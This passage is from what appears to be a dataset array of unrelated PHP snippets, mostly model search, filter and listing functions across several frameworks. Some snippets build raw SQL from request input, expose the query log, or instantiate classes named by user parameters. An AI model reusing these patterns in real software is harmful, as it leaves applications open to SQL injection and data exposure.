'activity.activity_id')\n\t\t\t->leftjoin('activity_classification', 'activity_classification.activity_classification_id', 'activity.activity_classification_id')\n\t\t\t//->groupBy('course.course_id','schedule.instructor_id','curriculum.curriculum_id','entity.logo', 'course.day_of_week','entity.name','curriculum.name','course.time_start', 'course.time_end','event_type.name')\n\t\t\t->groupBy(\n\t\t\t\tDB::raw('curriculum.curriculum_id, course.course_id, entity.logo, course.day_of_week, entity.name, curriculum.name, course.time_start, course.time_end' .\n\t\t\t\t\t(isset($conditions['sort']) && $conditions['sort'] !== null ? \", \" . $extraGroup : '' )\n\t\t\t\t)\n\t\t\t)\n\t\t\t->orderByRaw(isset($conditions['sort']) && $conditions['sort'] !== null ? $conditions['sort'] : 'course.day_of_week ASC, course.course_id DESC')\n\t\t\t->get();\n\n\t\t//echo(\"<br>Total : \" . sizeof($searchData) . \" records\");\n\t\tforeach ($searchData as $data) {\n\t\t\t/*echo('<br>' . $data->program_id . '|' . $data->program_name . '|'. $data->activity_id . '|' . $data->provider_name . '|' . $data->location_name);*/\n\t\t\t//echo('<br>' . $data->provider_id . '|' . $data->provider_name . '|' . $data->location_name);\n\n\n\t\t\t$day = DB::table('day_of_week')->where('day_of_week.day_of_week_id',$data->day_of_week)->first();\n\t\t\t$day = DB::table('day_of_week')->where('day_of_week.day_of_week_id',$data->day_of_week)->first();\n\n\n\t\t\t//echo('<br>' . $data->course_id . \"~\" . $data->program_name . '#'.$day->name. \"|\". date('h:i',strtotime($data->time_start)) . '-' .date('h:i',strtotime($data->time_end)));\n\t\t\t$item = ['course_id' => $data->course_id,\n\t\t\t\t'entity_logo' => ($data->entity_logo ? $data->entity_logo : $default_logo),\n\t\t\t\t'entity_name' => $data->entity_name,\n\t\t\t\t'curriculum_name' => $data->curriculum_name,\n\t\t\t\t'day_name' => $day->name,\n\t\t\t\t'time_start' => date('H:i',strtotime($data->time_start)),\n\t\t\t\t'time_end' => date('H:i',strtotime($data->time_end))];\n\n\t\t\t/*$schedules = DB::table('schedule')\n\t\t\t\t->select('schedule.schedule_id', 'program.name')\n\t\t\t\t->join('program', 'program.program_id', 'curriculum.program_id')\n\t\t\t\t->where('curriculum.curriculum_id', $data->curriculum_id)\n\t\t\t\t->orderBy('program.activity_id', 'DESC')\n\t\t\t\t->get();\n\n\t\t\tforeach ($schedules as $schedule) {\n\t\t\t\t//echo($program->program_id . '|' . $program->name );\n\t\t\t}*/\n\n\t\t\t$programs = DB::table('curriculum')\n\t\t\t\t->select('program.program_id', 'program.name')\n\t\t\t\t->join('program', 'program.program_id', 'curriculum.program_id')\n\t\t\t\t->where('curriculum.curriculum_id', $data->curriculum_id)\n\t\t\t\t->orderBy('program.activity_id', 'DESC')\n\t\t\t\t->get();\n\n\t\t\t$searchActivities = [];\n\t\t\tforeach ($programs as $program) {\n\t\t\t\t//echo($program->program_id . '|' . $program->name );\n\t\t\t\t$activities = DB::table('program')\n\t\t\t\t\t->select('activity.logo', 'program.provider_id', DB::raw('program.name program_name'))\n\t\t\t\t\t->join('activity', 'program.activity_id', 'activity.activity_id')\n\t\t\t\t\t->leftjoin('activity_classification', 'activity.activity_classification_id', 'activity_classification.activity_classification_id')\n\t\t\t\t\t->where('program.program_id', $program->program_id)\n\t\t\t\t\t->whereRaw(\n\t\t\t\t\t\t(isset($conditions['activity_id']) && $conditions['activity_id'] !== null ? \"program.activity_id in (\" . implode(\",\",$conditions['activity_id']) . \") AND \" : '') .\n\t\t\t\t\t\t(isset($conditions['activity_classification_id']) && $conditions['activity_classification_id'] !== null ? \"activity.activity_classification_id in (\" . implode(\",\",$conditions['activity_classification_id']) . \") AND \" : '') .\n\t\t\t\t\t\t(isset($conditions['activity_type_id']) && $conditions['activity_type_id'] !== null ? \"activity_classification.activity_type_id in (\" . implode(\",\",$conditions['activity_type_id']) . \") AND \" : '') .\n\t\t\t\t\t\t('program.status = 0')\n\t\t\t\t\t)\n\t\t\t\t\t//->groupBy('activity.logo')\n\t\t\t\t\t->get();\n\n\t\t\t\tforeach ($activities as $activity) {\n\t\t\t\t\t//echo('<img src=\"' . $activity->logo . '\" style=\"width:2%;\" alt=\"' . $activity->program_name . '\" title=\"' . $activity->program_name . '\">');\n\t\t\t\t\t$searchActivity = [\n\t\t\t\t\t\t'logo' => $activity->logo,\n\t\t\t\t\t\t'name' => $activity->program_name,\n\t\t\t\t\t];\n\t\t\t\t\tarray_push($searchActivities, $searchActivity);\n\t\t\t\t}\n\t\t\t}\n\t\t\tarray_push($result, array('item' => $item, 'activity' => $searchActivities));\n\t\t}\n\n\t\t$final = array('totalPage' => ceil(sizeof($searchAll)/$limit), 'total' => ( sizeof($searchAll) > 0 ? sizeof($searchAll) : 0), 'result' => $result, 'debug' => DB::getQueryLog()[0]['query']);\n\t\treturn $final;\n\t}", "public function searchAction() {\n\t\t$modelName = $this->_getParam('model');\n\t\t$model = Marcel_Backoffice_Model::factory($modelName);\n\t\t$this->view->cols = $model->info('cols');\n\t\t$this->view->model = $this->_getParam('model');\n\t\t$this->view->config = Marcel_Backoffice_Config::getInstance()->getConfig();\n\t\t\n\t\tif ($this->_request->isPost()) {\n\t\t\t$fields = array();\n\t\t\t$func \t= array();\n\t\t\t$query \t= array();\n\t\t\tforeach ($_POST['query'] as $key => $q) {\n\t\t\t\tif (isset($_POST['fields'][$key]) && !empty($_POST['fields'][$key])) {\n\t\t\t\t\t$fields[$key] = $_POST['fields'][$key];\n\t\t\t\t\t$func[$key] \t= $_POST['func'][$key];\n\t\t\t\t\t$query[$key] \t= $_POST['query'][$key];\n\t\t\t\t}\n\t\t\t}\n\t\t\t$data = array('fields' => $fields, 'func' => $func, 'query' => $query);\n\t\t\t$data = serialize($data);\n\t\t\t$this->_helper->redirector('list', null, null, array('model' => $modelName, 'data' => $data));\n\t\t}\n\t}", "public function all()\n {\n return $this->model->get();\n }", "public function master_search() {\r\n $this->db->join(\r\n '__Vehicles', \r\n '__Vehicles.__ContactId = ' . $this->table_name. '.' . $this->contactId_fieldname ,\r\n 'left outer'\r\n ); \r\n return $this->get();\r\n }", "public function getList()\n {\n return $this->model->getList();\n }", "public function getItemsBy($params = false)\n {\n $query = $this->model->query();\n\n /*== RELATIONSHIPS ==*/\n if (in_array('*', $params->include)) {//If Request all relationships\n $query->with([]);\n } else {//Especific relationships\n $includeDefault = [];//Default relationships\n if (isset($params->include))//merge relations with default relationships\n $includeDefault = array_merge($includeDefault, $params->include);\n $query->with($includeDefault);//Add Relationships to query\n }\n\n /*== FILTERS ==*/\n if (isset($params->filter)) {\n $filter = $params->filter;//Short filter\n\n //Filter by date\n if (isset($filter->date)) {\n $date = $filter->date;//Short filter date\n $date->field = $date->field ?? 'created_at';\n if (isset($date->from))//From a date\n $query->whereDate($date->field, '>=', $date->from);\n if (isset($date->to))//to a date\n $query->whereDate($date->field, '<=', $date->to);\n }\n\n //Order by\n if (isset($filter->order)) {\n $orderByField = $filter->order->field ?? 'position';//Default field\n $orderWay = $filter->order->way ?? 'desc';//Default way\n $query->orderBy($orderByField, $orderWay);//Add order to query\n }\n\n // Filter By Menu\n if (isset($filter->menu)) {\n $query->where('menu_id', $filter->menu);\n }\n\n //add filter by search\n if (isset($filter->search)) {\n //find search in columns\n $query->where(function ($query) use ($filter) {\n $query->whereHas('translations', function ($query) use ($filter) {\n $query->where('locale', $filter->locale)\n ->where('title', 'like', '%' . $filter->search . '%');\n })->orWhere('id', 'like', '%' . $filter->search . '%')\n ->orWhere('updated_at', 'like', '%' . $filter->search . '%')\n ->orWhere('created_at', 'like', '%' . $filter->search . '%');\n });\n }\n\n }\n\n /*== FIELDS ==*/\n if (isset($params->fields) && count($params->fields))\n $query->select($params->fields);\n\n /*== REQUEST ==*/\n if (isset($params->page) && $params->page) {\n return $query->paginate($params->take);\n } else {\n $params->take ? $query->take($params->take) : false;//Take\n return $query->get();\n }\n }", "public function getAll()\n {\n return $this->model->all();\n }", "public function getAll()\n {\n return $this->model->all();\n }", "public function getAll()\n {\n return $this->model->all();\n }", "public function findBy(array $filters);", "public function search()\n\t{\n\t\t// @todo Please modify the following code to remove attributes that should not be searched.\n\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('id',$this->id);\n\t\t$criteria->compare('model',$this->model,true);\n\t\t$criteria->compare('brand',$this->brand,true);\n\t\t$criteria->compare('status',$this->status,true);\n\t\t$criteria->compare('width',$this->width);\n\t\t$criteria->compare('height',$this->height);\n\t\t$criteria->compare('goods_thumb',$this->goods_thumb,true);\n\t\t$criteria->compare('goods_img',$this->goods_img,true);\n\t\t$criteria->compare('model_search',$this->model_search,true);\n\t\t$criteria->compare('brand_search',$this->brand_search,true);\n\t\t$criteria->compare('brand2',$this->brand2,true);\n\t\t$criteria->compare('brand2_search',$this->brand2_search,true);\n\t\t$criteria->compare('brand3',$this->brand3,true);\n\t\t$criteria->compare('brand3_search',$this->brand3_search,true);\n\t\t$criteria->compare('brand4',$this->brand4,true);\n\t\t$criteria->compare('brand4_search',$this->brand4_search,true);\n\t\t$criteria->compare('model2',$this->model2,true);\n\t\t$criteria->compare('model2_search',$this->model2_search,true);\n\t\t$criteria->compare('model3',$this->model3,true);\n\t\t$criteria->compare('model3_search',$this->model3_search,true);\n\t\t$criteria->compare('model4',$this->model4,true);\n\t\t$criteria->compare('model4_search',$this->model4_search,true);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}", "public function getList($params = [])\n {\n $model = $this->prepareModel();\n return $model::all();\n }", "abstract protected function getSearchModelName(): string;", "public function getItemsCriteria() {}", "public function getItemsCriteria() {}", "public function getFilters();", "public static function getList(array $filters){\n return self::model()->findAllByAttributes($filters);\n }", "public function getSearch();", "public function search()\n {\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('name', $this->name, true);\n $criteria->compare('url', $this->url);\n $criteria->compare('type', $this->type);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n 'pagination' => array('pageSize' => 100),\n ));\n }", "public function actionList() {\n switch ($_GET['model']) {\n case 'Product':\n $models = Product::model()->findAll();\n break;\n case 'Vendor':\n $models = Vendor::model()->findAll();\n break;\n case 'FavoriteProduct':\n $models = FavoriteProduct::model()->findAll();\n break;\n case 'Order':\n $models = Order::model()->findAll();\n break;\n case 'Rating':\n $models = Rating::model()->findAll();\n break;\n case 'Review':\n $models = Review::model()->findAll();\n break;\n case 'UserAddress':\n $models = UserAddress::model()->findAll();\n break;\n case 'OrderDetail':\n $models = OrderDetail::model()->findAll();\n break;\n default:\n $this->_sendResponse(0, 'You have pass invalid modal name');\n Yii::app()->end();\n }\n // Did we get some results?\n if (empty($models)) {\n // No\n $this->_sendResponse(0, 'No Record found ');\n } else {\n // Prepare response\n $rows = array();\n $i = 0;\n foreach ($models as $model) {\n $rows[] = $model->attributes;\n if ($_GET['model'] == 'Order') {\n $rows[$i]['cart_items'] = Product::model()->getProducts($model->product_id);\n $rows[$i]['order_detail'] = OrderDetail::model()->findAll(array('condition' => 'order_id ='.$model->id));\n }\n $i = $i + 1;\n }\n // Send the response\n $this->_sendResponse(1, '', $rows);\n }\n }", "static public function filterData($model_name)\n {\n $query = \"{$model_name}Query\";\n $objects = $query::create()->find();\n \n if ($objects != null) {\n\n $array = array();\n foreach ($objects as $object) {\n $array[$object->getId()] = $object->__toString();\n }\n\n return $array;\n } else {\n return array();\n }\n }", "public static function getList(string $filter='')\n {\n $query = self::with(['product','insuredPerson','agency'])->whereNotNull('n_OwnerId_FK');\n\n $filterArray = json_decode(request('filter'));\n\n if (is_object($filterArray)) {\n foreach($filterArray as $key=>$value) {\n if (empty($value)) {\n continue;\n }\n if (is_array($value)) {\n $query->whereIn($key, $value);\n continue;\n }\n $query->where($key, 'like', \"%$value%\");\n }\n }\n return $query;\n }", "public function getCriteria();", "public static function getSearchable()\n {\n return [\n 'columns' => [],\n 'joins' => [\n \n ]\n ];\n }", "static function filter($model) {\n $cond = Session::get('filter', strtolower($model->source));\n $param = array(\n /* Relaciones */\n 'rel' => array(\n '=' => 'Igual',\n 'LIKE' => 'Parecido',\n '<>' => 'Diferente',\n '<' => 'Menor',\n '>' => 'Mayor'\n ),\n 'col' => array_diff($model->fields, $model->_at, $model->_in, $model->primary_key),\n 'model' => $model,\n 'cond' => $cond\n );\n ob_start();\n View::partial('backend/filter', false, $param);\n return ob_get_clean();\n }", "public function findByModelName($model_name);", "abstract public function getFieldsSearchable();", "function _get_by_related($model, $arguments = array())\r\n\t{\r\n\t\tif ( ! empty($model))\r\n\t\t{\r\n\t\t\t// Add model to start of arguments\r\n\t\t\t$arguments = array_merge(array($model), $arguments);\r\n\t\t}\r\n\r\n\t\t$this->_related('where', $arguments);\r\n\r\n\t\treturn $this->get();\r\n\t}", "public static function getModels()\n\t{\n\t\t$result = [];\n\t\t$path = __DIR__ . DIRECTORY_SEPARATOR . 'model' . DIRECTORY_SEPARATOR;\n\t\t$Iterator = new RecursiveDirectoryIterator($path);\n\t\t$objects = new RecursiveIteratorIterator($Iterator, RecursiveIteratorIterator::SELF_FIRST);\n\t\tforeach ($objects as $name => $object)\n\t\t{\n\t\t\tif (strtolower(substr($name, -4) != '.php'))\n\t\t\t{\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t$name = strtolower(str_replace($path, '', substr($name, 0, strlen($name) - 4)));\n\t\t\t$name = str_replace(DIRECTORY_SEPARATOR, '\\\\', $name);\n\t\t\t$name = 'Model\\\\' . ucwords($name, '\\\\');\n\t\t\tif (class_exists($name))\n\t\t\t{\n\t\t\t\t$result[]= $name;\n\t\t\t}\n\t\t}\n\t\treturn $result;\n\t}", "public function autocomplete_search() {\n\tif (!empty($this->request->query['term'])) {\n\t $model = Inflector::camelize(Inflector::singularize($this->request->params['controller']));\n\t $my_models = $this->$model->find('all', array(\n\t\t 'conditions' => array($model . '.name LIKE' => $this->request->query['term'] . '%'),\n\t\t 'limit' => 10,\n\t\t 'contain' => false,\n\t\t\t ));\n\t $json_array = array();\n\t foreach ($my_models as $my_model) {\n\t\t$json_array[] = $my_model[$model];\n\t }\n\t $json_str = json_encode($json_array);\n\t $this->autoRender = false;\n\t return $json_str;\n\t}\n }", "public function getListQuery();", "public function search($model, $request)\n {\n $search = filter_var($request->get('search'), FILTER_SANITIZE_STRING);\n\n // Get optional filters\n // FILTER: GEOLOCATION\n if($request->input('location')) {\n $location = filter_var($request->get('location'), FILTER_SANITIZE_STRING);\n }\n if($request->input('geo_lat')) {\n $geo_lat = filter_var($request->get('geo_lat'), FILTER_SANITIZE_STRING);\n $geo_lng = filter_var($request->get('geo_lng'), FILTER_SANITIZE_STRING);\n }\n\n /**\n * Get current page number for location manual Pagination\n */\n $page = $request->get('page') ? $request->get('page') : 1;\n\n\n // Location first, since it's a special query\n if(isset($geo_lat) && isset($geo_lng)) {\n \n $location_data = Posts::location($geo_lat, $geo_lng, $search, 25, 100); \n\n // Hard and dirty search function through collection\n // since search with location method doesn't work still\n if($search !== '') {\n $location_data = $location_data->filter(function ($item) use ($search) {\n return stripos($item->name, $search) !== false;\n });\n }\n\n // Paginate results because location method can't\n $paginate = new Paginate;\n return $paginate->paginate($location_data, 15, $page, [\n 'path' => '/search/'\n ]);\n\n } \n // Section selection handler (brands/shops/prods/strains)\n elseif($search)\n {\n return $model->where('name', 'like', \"%$search%\");\n }\n\n }", "public function getWorkFlowModels()\n {\n return $this->postRequest('GetWorkFlowModels');\n }", "public function getList()\n {\n $filter = $this->getEvent()->getRouteMatch()->getParam('filter', null);\n return $this->getService()\n ->getList($filter);\n }", "private function _getAllModels(): array {\n\t\t$models = Array();\n\t\t$folder = Environment::$dirs->models;\n\t\t$files = array_diff(scandir($folder), array('.', '..'));\n\t\tforeach ($files as $fileName) {\n\t\t\tinclude_once($folder.DIRECTORY_SEPARATOR.$fileName);\n\t\t\t$className = basename($fileName, \".php\");\n\t\t\t$classNameNamespaced = \"\\\\Jeff\\\\Api\\\\Models\\\\\" . ucfirst($className);\n\t\t\t$model = new $classNameNamespaced($this->db, $this->account);\n\t\t\t$models[$model->modelNamePlural] = $model;\n\t\t}\n\t\treturn $models;\n\t}", "function getAll(){\n\n\t\t\t$this->db->order_by(\"status\", \"asc\");\n\t\t\t$query = $this->db->get_where($this->table);\n\t\t\treturn $query;\n\t\t}", "public function actionViewModelList($modelName)\n\t{\n\t\t$pageSize = BaseModel::PAGE_SIZE;\n\t\tif ($_POST[\"sortBy\"]) {\n\t\t\t$order = $_POST[\"sortBy\"];\n\t\t}\n\t\t//echo $order;\n\t\t/*if (!$modelName) {\n\t\t\t\n\t\t}*/\n\t\t$sess_data = Yii::app()->session->get($modelName.'search');\n\t\t$searchId = $_GET[\"search_id\"];\n\t\t$fromSearchId = TriggerValues::model() -> decodeSearchId($searchId);\n\t\t//print_r($fromSearchId);\n\t\t//echo \"<br/>\";\n\t\t//Если задан $_POST/GET с формы, то сливаем его с массивом из searchId с приоритетом у searchId\n\t\tif ($_POST[$modelName.'SearchForm'])\n\t\t{\n\t\t\t$fromPage = array_merge($_POST[$modelName.'SearchForm'], $fromSearchId);\n\t\t} else {\n\t\t\t//Если же он не задан, то все данные берем из searchId\n\t\t\t$fromPage = $fromSearchId;\n\t\t}\n\t\t//print_r($fromPage);\n\t\tif ((!$fromPage)&&(!$sess_data))\n\t\t{\n\t\t\t//Если никаких критереев не задано, то выдаем все модели.\n\t\t\t$searched = $modelName::model() -> userSearch(array(),$order);\n\t\t} else {\n\t\t\tif ($_GET[\"clear\"]==1)\n\t\t\t{\n\t\t\t\t//Если критерии заданы, но мы хотим их сбросить, то снова выдаем все и обнуляем нужную сессию\n\t\t\t\tYii::app()->session->remove($modelName.'search');\n\t\t\t\t$page = 1;\n\t\t\t\t//was://$searched = $modelName::model() -> userSearch(array(),$order);\n\t\t\t\t$searched = $modelName::model() -> userSearch($fromSearchId,$order);\n\t\t\t} else {\n\t\t\t\t//Если же заданы какие-то критерии, но не со страницы, то вместо них подаем данные из сессии\n\t\t\t\tif (!$fromPage)\n\t\t\t\t{\n\t\t\t\t\t$fromPage = $sess_data;\n\t\t\t\t\t//echo \"from session\";\n\t\t\t\t}\n\t\t\t\t//Адаптируем критерии под специализацию. Если для данной специализации нет какого-то критерия, а он где-то сохранен, то убираем его.\n\t\t\t\t$fromPage = Filters::model() -> FilterSearchCriteria($fromPage, $modelName);\n\t\t\t\t//Если критерии заданы и обнулять их не нужно, то запускаем поиск и сохраняем его критерии в сессию.\n\t\t\t\tYii::app()->session->add($modelName.'search',$fromPage);\n\t\t\t\t$searched = $modelName::model() -> userSearch($fromPage,$order);\n\t\t\t}\n\t\t}\n\t\t//делаем из массива объектов dataProvider\n $dataProvider = new CArrayDataProvider($searched['objects'],\n array( 'keyField' =>'id'\n ));\n\t\t$this -> layout = 'layoutNoForm';\n\t\t//Определяем страницу.\n\t\t$maxPage = ceil(count($searched['objects'])/$pageSize);\n\t\tif ($_GET[\"page\"]) {\n\t\t\t$_POST[\"page\"] = $_GET[\"page\"];\n\t\t}\n\t\t$page = $_POST[\"page\"] ? $_POST[\"page\"] : 1;\n\t\t$page = (($page >= 1)&&($page <= $maxPage)) ? $page : 1;\n\t\t$_POST[$modelName.'SearchForm'] = $fromPage;\n\t\t$this->render('show_list', array(\n\t\t\t'objects' => array_slice($searched['objects'],($page - 1) * $pageSize, $pageSize),\n\t\t\t'modelName' => $modelName,\n\t\t\t'filterForm' => $modelName::model() -> giveFilterForm($fromPage),\n\t\t\t'fromPage' => $fromPage,\n\t\t\t'description' => $searched['description'],\n\t\t\t'specialities' => Filters::model() -> giveSpecialities(),\n\t\t\t'page' => $page,\n\t\t\t'maxPage' => $maxPage,\n\t\t\t'total' => count($searched['objects'])\n\t\t));\n\t\t\n\t}", "public function search_through(Request $request)\n {\n $reports = Payment::query();\n\n if (!empty($request->query())) {\n foreach ($request->query() as $key => $value) {\n if ($key == 'date') {\n $reports->whereDate('created_at', '>=', $value);\n } else {\n $reports->where($key, $value);\n }\n }\n }\n\n return $reports->get();\n }", "public function models($query, array $options = [])\n {\n $hits = $this->run($query);\n list($models, $totalCount) = $this->search->config()->models($hits, $options);\n // Remember total number of results.\n $this->setCachedCount($query, $totalCount);\n\n return Collection::make($models);\n }", "public function index()\n {\n $this->repository->pushCriteria(app('Prettus\\Repository\\Criteria\\RequestCriteria'));\n return $this->repository->all();\n }", "public function search()\n\t{\n\t\t// @todo Please modify the following code to remove attributes that should not be searched.\n\n\t\t$criteria=new CDbCriteria;\n \n $criteria->with=array('c','b');\n\t\t$criteria->compare('pid',$this->pid,true);\n\t\t$criteria->compare('t.cid',$this->cid,true);\n\t\t$criteria->compare('t.bid',$this->bid,true);\n\n $criteria->compare('c.classify_name',$this->classify,true);\n\t\t$criteria->compare('b.brand_name',$this->brand,true);\n \n $criteria->addCondition('model LIKE :i and model REGEXP :j');\n $criteria->params[':i'] = \"%\".$this->index_search.\"%\";\n $criteria->params[':j'] = \"^\".$this->index_search;\n\n \n\t\t$criteria->compare('model',$this->model,true);\n\t\t$criteria->compare('package',$this->package,true);\n\t\t$criteria->compare('RoHS',$this->RoHS,true);\n\t\t$criteria->compare('datecode',$this->datecode,true);\n\t\t$criteria->compare('quantity',$this->quantity);\n\t\t$criteria->compare('direction',$this->direction,true);\n $criteria->compare('image_url',$this->image_url,true);\n\t\t$criteria->compare('create_time',$this->create_time,true);\n\t\t$criteria->compare('status',$this->status);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}", "public function queryset(){\n return $this->_get_queryset();\n }", "public function index(Request $request)\n {\n $keyword = $request->get('search');\n $perPage = $request->get('limit');\n $perPage = empty($perPage) ? 25 : $perPage;\n\n if (!empty($keyword)) {\n $filters = Filter::where('sl_gender', 'LIKE', \"%$keyword%\")\n ->orWhere('sl_min_price', 'LIKE', \"%$keyword%\")\n ->orWhere('sl_max_price', 'LIKE', \"%$keyword%\")\n ->orWhere('sl_color', 'LIKE', \"%$keyword%\")\n ->orWhere('sl_occasion', 'LIKE', \"%$keyword%\")\n ->orWhere('sl_style', 'LIKE', \"%$keyword%\")\n ->orWhere('wg_age', 'LIKE', \"%$keyword%\")\n ->orWhere('wg_min_price', 'LIKE', \"%$keyword%\")\n ->orWhere('wg_max_price', 'LIKE', \"%$keyword%\")\n ->orWhere('wg_date_from', 'LIKE', \"%$keyword%\")\n ->orWhere('wg_date_to', 'LIKE', \"%$keyword%\")\n ->orWhere('wg_city_id', 'LIKE', \"%$keyword%\")\n ->orWhere('user_id', 'LIKE', \"%$keyword%\")\n ->paginate($perPage);\n } else {\n $filters = Filter::paginate($perPage);\n }\n\n return $filters;\n }", "public function getList(\\Magento\\Framework\\Api\\SearchCriteriaInterface $searchCriteria);", "public function getList(\\Magento\\Framework\\Api\\SearchCriteriaInterface $searchCriteria);", "public function getList(\\Magento\\Framework\\Api\\SearchCriteriaInterface $searchCriteria);", "public function getSearchCriterias()\n {\n return $this->_searchCriterias;\n }", "private function getSearchConditions()\n {\n $searchConditions = [];\n\n $userIds = $this->request->get('ids') ?? [];\n if ($userIds) {\n $searchConditions['id'] = $userIds;\n }\n\n $email = $this->request->get('email') ?? '';\n if ($email) {\n $searchConditions['email'] = $email;\n }\n\n return $searchConditions;\n }", "public function findAllAction();", "public function search() {\n // @todo Please modify the following code to remove attributes that should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('entity_id', $this->entity_id);\n $criteria->compare('dbname', $this->dbname, true);\n $criteria->compare('isfiltered', $this->isfiltered);\n $criteria->compare('filtertype', $this->filtertype);\n $criteria->compare('alias', $this->alias, true);\n $criteria->compare('enabled', $this->enabled);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n 'pagination' => false,\n ));\n }", "function GetFilterList() {\n\t\tglobal $UserProfile;\n\n\t\t// Initialize\n\t\t$sFilterList = \"\";\n\t\t$sSavedFilterList = \"\";\n\n\t\t// Load server side filters\n\t\tif (EW_SEARCH_FILTER_OPTION == \"Server\" && isset($UserProfile))\n\t\t\t$sSavedFilterList = $UserProfile->GetSearchFilters(CurrentUserName(), \"fsolicitudlistsrch\");\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id->AdvancedSearch->ToJson(), \",\"); // Field id\n\t\t$sFilterList = ew_Concat($sFilterList, $this->nombre_contacto->AdvancedSearch->ToJson(), \",\"); // Field nombre_contacto\n\t\t$sFilterList = ew_Concat($sFilterList, $this->name->AdvancedSearch->ToJson(), \",\"); // Field name\n\t\t$sFilterList = ew_Concat($sFilterList, $this->lastname->AdvancedSearch->ToJson(), \",\"); // Field lastname\n\t\t$sFilterList = ew_Concat($sFilterList, $this->_email->AdvancedSearch->ToJson(), \",\"); // Field email\n\t\t$sFilterList = ew_Concat($sFilterList, $this->address->AdvancedSearch->ToJson(), \",\"); // Field address\n\t\t$sFilterList = ew_Concat($sFilterList, $this->phone->AdvancedSearch->ToJson(), \",\"); // Field phone\n\t\t$sFilterList = ew_Concat($sFilterList, $this->cell->AdvancedSearch->ToJson(), \",\"); // Field cell\n\t\t$sFilterList = ew_Concat($sFilterList, $this->created_at->AdvancedSearch->ToJson(), \",\"); // Field created_at\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id_sucursal->AdvancedSearch->ToJson(), \",\"); // Field id_sucursal\n\t\t$sFilterList = ew_Concat($sFilterList, $this->tipoinmueble->AdvancedSearch->ToJson(), \",\"); // Field tipoinmueble\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id_ciudad_inmueble->AdvancedSearch->ToJson(), \",\"); // Field id_ciudad_inmueble\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id_provincia_inmueble->AdvancedSearch->ToJson(), \",\"); // Field id_provincia_inmueble\n\t\t$sFilterList = ew_Concat($sFilterList, $this->tipovehiculo->AdvancedSearch->ToJson(), \",\"); // Field tipovehiculo\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id_ciudad_vehiculo->AdvancedSearch->ToJson(), \",\"); // Field id_ciudad_vehiculo\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id_provincia_vehiculo->AdvancedSearch->ToJson(), \",\"); // Field id_provincia_vehiculo\n\t\t$sFilterList = ew_Concat($sFilterList, $this->tipomaquinaria->AdvancedSearch->ToJson(), \",\"); // Field tipomaquinaria\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id_ciudad_maquinaria->AdvancedSearch->ToJson(), \",\"); // Field id_ciudad_maquinaria\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id_provincia_maquinaria->AdvancedSearch->ToJson(), \",\"); // Field id_provincia_maquinaria\n\t\t$sFilterList = ew_Concat($sFilterList, $this->tipomercaderia->AdvancedSearch->ToJson(), \",\"); // Field tipomercaderia\n\t\t$sFilterList = ew_Concat($sFilterList, $this->documento_mercaderia->AdvancedSearch->ToJson(), \",\"); // Field documento_mercaderia\n\t\t$sFilterList = ew_Concat($sFilterList, $this->tipoespecial->AdvancedSearch->ToJson(), \",\"); // Field tipoespecial\n\t\t$sFilterList = ew_Concat($sFilterList, $this->email_contacto->AdvancedSearch->ToJson(), \",\"); // Field email_contacto\n\t\tif ($this->BasicSearch->Keyword <> \"\") {\n\t\t\t$sWrk = \"\\\"\" . EW_TABLE_BASIC_SEARCH . \"\\\":\\\"\" . ew_JsEncode2($this->BasicSearch->Keyword) . \"\\\",\\\"\" . EW_TABLE_BASIC_SEARCH_TYPE . \"\\\":\\\"\" . ew_JsEncode2($this->BasicSearch->Type) . \"\\\"\";\n\t\t\t$sFilterList = ew_Concat($sFilterList, $sWrk, \",\");\n\t\t}\n\t\t$sFilterList = preg_replace('/,$/', \"\", $sFilterList);\n\n\t\t// Return filter list in json\n\t\tif ($sFilterList <> \"\")\n\t\t\t$sFilterList = \"\\\"data\\\":{\" . $sFilterList . \"}\";\n\t\tif ($sSavedFilterList <> \"\") {\n\t\t\tif ($sFilterList <> \"\")\n\t\t\t\t$sFilterList .= \",\";\n\t\t\t$sFilterList .= \"\\\"filters\\\":\" . $sSavedFilterList;\n\t\t}\n\t\treturn ($sFilterList <> \"\") ? \"{\" . $sFilterList . \"}\" : \"null\";\n\t}", "public function search(Request $request)\n {\n if(!$request->has('query')) {\n return response()->json(['message' => 'Please type a keyword.']);\n }\n\n $userTenant = Auth::userTenant();\n $user = Auth::user();\n\n $searchableModelNameSpace = 'App\\\\Models\\\\';\n $result = [];\n // Loop through the searchable models.\n foreach (config('scout.searchableModels') as $model) {\n $modelClass = $searchableModelNameSpace.$model;\n $modelService = app($model.'Ser');\n\n if($model == 'Task') {\n $allowedModels = $modelService->searchForUserTenant($userTenant, $request->get('query'))->get();\n } else {\n $foundModels = $modelClass::search($request->get('query'))->get();\n if ($model === 'Comment') {\n $foundModels->where('groupId', '!=', null)->toArray();\n }\n $policy = app()->make('App\\Policies\\V2\\\\' . $model . 'Policy');\n $allowedModels = $foundModels->filter(function(BaseModel $foundModel) use($user, $policy) {\n return $policy->getAccess($user, $foundModel);\n });\n }\n\n $result[Str::lower($model) . 's'] = $allowedModels;\n }\n\n $responseData = ['message' => 'Keyword(s) matched!', 'results' => $result, 'pagination' => ['more' => false]];\n $responseHeader = Response::HTTP_OK;\n if (!count($result)) {\n $responseData = ['message' => 'No results found, please try with different keywords.'];\n $responseHeader = Response::HTTP_NOT_FOUND;\n }\n\n return response()->json($responseData, $responseHeader);\n }", "public function getAndFilter() {\n\t\treturn $this->db->getAndFilter();\n\t}" ]
